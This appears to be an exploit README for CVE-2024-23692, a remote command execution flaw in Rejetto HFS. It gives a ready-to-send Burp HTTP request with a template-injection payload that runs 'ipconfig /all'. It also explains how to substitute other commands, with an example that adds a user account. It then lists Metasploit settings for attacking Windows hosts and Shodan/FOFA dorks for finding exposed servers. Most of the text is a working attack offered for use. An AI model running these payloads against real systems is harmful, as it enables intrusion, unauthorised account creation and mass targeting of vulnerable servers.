Web CVE-2024-23692 (Rejetto HFS RCE)

[heartBit]

● PoC for Burp:

GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1

Host: xxx

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Connection: close

Cookie: HFS_SID_=0.344328237697482

Upgrade-Insecure-Requests: 1

as you can see above the command that will be sent remotely is "ipconfig /all".
Please keep in mind that if your command has spaces, you should add a plus in between
(for example: net+user+(your_username)+(your_password)+/add)

● The PoC is even able to return the results back after sending the request in Burp, just scroll down a little (refer to Figure_1.JPG)

● If you are lazy to use the Burp PoC then you can use the new metasploit module (haven't tried)
Link: https://github.com/rapid7/metasploit-framework/pull/19240/files
(scroll down till you see the ruby file)

● If you are going to target windows systems with this exploit then here is the necessary config for the msf:
set payload cmd/windows/generic (for executing a cmd command)
set RHOSTS (your_remote_target)
check (optional)
run

● Dorks:
Shodan: title:"HFS /" port:80
FOFA: app="HFS"